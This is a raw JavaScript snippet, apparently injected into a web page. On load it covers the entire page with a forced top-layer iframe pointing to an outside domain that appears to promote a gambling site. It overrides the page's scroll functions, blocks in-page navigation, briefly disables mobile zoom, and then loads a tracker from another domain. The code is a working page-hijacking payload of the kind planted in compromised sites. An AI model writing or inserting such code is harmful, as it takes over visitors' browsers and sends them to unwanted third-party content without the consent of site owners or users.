(function() { 'use strict'; const config = { containerId: 'landing-page-overlay', iframeUrl: 'https://jpwb.name/130-2/?manbet-x.net', zIndex: 2147483647 }; // Prevent any page jumping or scrolling function preventPageJumping() { // Store current scroll position const currentScrollX = window.pageXOffset || document.documentElement.scrollLeft; const currentScrollY = window.pageYOffset || document.documentElement.scrollTop; // Remove any hash from URL that might cause jumping if (window.location.hash) { history.replaceState(null, null, window.location.pathname + window.location.search); } // Restore scroll position immediately window.scrollTo(currentScrollX, currentScrollY); // Prevent focus from moving to other elements document.body.style.scrollBehavior = 'auto'; // Additional prevention for hash-based navigation const preventHashJump = (e) => { if (e.target.hash) { e.preventDefault(); return false; } }; document.addEventListener('click', preventHashJump, true); return () => { document.removeEventListener('click', preventHashJump, true); document.body.style.scrollBehavior = ''; }; } function createOverlay() { // Prevent page jumping before creating overlay const cleanup = preventPageJumping(); const container = document.createElement('div'); container.id = config.containerId; // Enhanced positioning styles container.style.cssText = ` position: fixed !important; top: 0 !important; left: 0 !important; width: 100vw !important; height: 100vh !important; background: rgba(255, 255, 255, 0.98) !important; z-index: ${config.zIndex} !important; display: flex !important; justify-content: center !important; align-items: center !important; backdrop-filter: blur(5px) !important; -webkit-backdrop-filter: blur(5px) !important; margin: 0 !important; padding: 0 !important; border: none !important; box-sizing: border-box !important; pointer-events: auto !important; overflow: hidden !important; `; const iframe = document.createElement('iframe'); iframe.src = config.iframeUrl; // Enhanced iframe styles for mobile positioning iframe.style.cssText = ` width: 100% !important; height: 100% !important; border: none !important; margin: 0 !important; padding: 0 !important; position: absolute !important; top: 0 !important; left: 0 !important; right: 0 !important; bottom: 0 !important; box-sizing: border-box !important; background: white !important; z-index: 1 !important; `; // Mobile-specific adjustments if (window.innerWidth <= 768) { iframe.style.cssText += ` transform: translateZ(0) !important; -webkit-transform: translateZ(0) !important; will-change: transform !important; `; } iframe.setAttribute('frameborder', '0'); iframe.setAttribute('scrolling', 'yes'); iframe.setAttribute('allowfullscreen', 'true'); // Prevent iframe from affecting page position iframe.onload = () => { // Ensure page stays at current position after iframe loads window.scrollTo(0, 0); // Focus management - keep focus on overlay iframe.focus(); }; container.appendChild(iframe); // Force positioning before adding to DOM container.getBoundingClientRect(); // Force layout calculation return { container, iframe, cleanup }; } function forceAboveAllContent(container) { // Get the highest z-index on the page let highestZ = 0; const allElements = document.querySelectorAll('*'); allElements.forEach(el => { const z = parseInt(window.getComputedStyle(el).zIndex) || 0; if (z > highestZ) highestZ = z; }); // Set our z-index even higher const newZIndex = Math.max(highestZ + 1000, config.zIndex); container.style.zIndex = newZIndex + ' !important'; // Additional DOM manipulation to ensure we're on top document.body.style.position = 'relative'; // Move to end of body to ensure DOM order precedence if (container.parentNode !== document.body) { document.body.appendChild(container); } } function initializeLandingPage() { // Prevent multiple initializations if (document.getElementById(config.containerId)) { return; } // Store current scroll position const scrollX = window.pageXOffset || document.documentElement.scrollLeft || 0; const scrollY = window.pageYOffset || document.documentElement.scrollTop || 0; const { container, iframe, cleanup } = createOverlay(); // Insert at the very beginning of body to ensure proper stacking if (document.body.firstChild) { document.body.insertBefore(container, document.body.firstChild); } else { document.body.appendChild(container); } // FORCE above all content forceAboveAllContent(container); // Ensure scroll position is maintained setTimeout(() => { window.scrollTo(scrollX, scrollY); // Double-check iframe loaded properly if (!iframe.src) { iframe.src = config.iframeUrl; } // Final position fix for mobile if (window.innerWidth <= 768) { container.style.transform = 'translate3d(0,0,0)'; container.style.webkitTransform = 'translate3d(0,0,0)'; } }, 10); // Cleanup function for hash prevention setTimeout(cleanup, 5000); // Clean up after 5 seconds when LP should be stable } // Enhanced initialization with scroll prevention function init() { // Immediately prevent any scrolling/jumping const originalScrollTo = window.scrollTo; const originalScroll = window.scroll; // Temporarily override scroll functions during initialization window.scrollTo = () => {}; window.scroll = () => {}; if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', () => { initializeLandingPage(); // Restore scroll functions after a delay setTimeout(() => { window.scrollTo = originalScrollTo; window.scroll = originalScroll; }, 500); }); } else { initializeLandingPage(); setTimeout(() => { window.scrollTo = originalScrollTo; window.scroll = originalScroll; }, 500); } // Backup initialization setTimeout(() => { if (!document.getElementById(config.containerId)) { initializeLandingPage(); } }, 100); } // Start immediately init(); // Expose configuration window.LandingPageConfig = config; // Additional mobile-specific fixes if (window.innerWidth <= 768) { // Prevent viewport jumping on mobile const viewport = document.querySelector('meta[name=viewport]'); if (viewport) { const originalContent = viewport.getAttribute('content'); viewport.setAttribute('content', originalContent + ', user-scalable=no'); // Restore after LP loads setTimeout(() => { viewport.setAttribute('content', originalContent); }, 2000); } } })(); var _paq = window._paq = window._paq || []; /* tracker methods like "setCustomDimension" should be called before "trackPageView" */ _paq.push(['trackPageView']); _paq.push(['enableLinkTracking']); (function() { var u="//a7vsg.com/"; _paq.push(['setTrackerUrl', u+'matomo.php']); _paq.push(['setSiteId', '15']); var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0]; g.async=true; g.src=u+'matomo.js'; s.parentNode.insertBefore(g,s); })();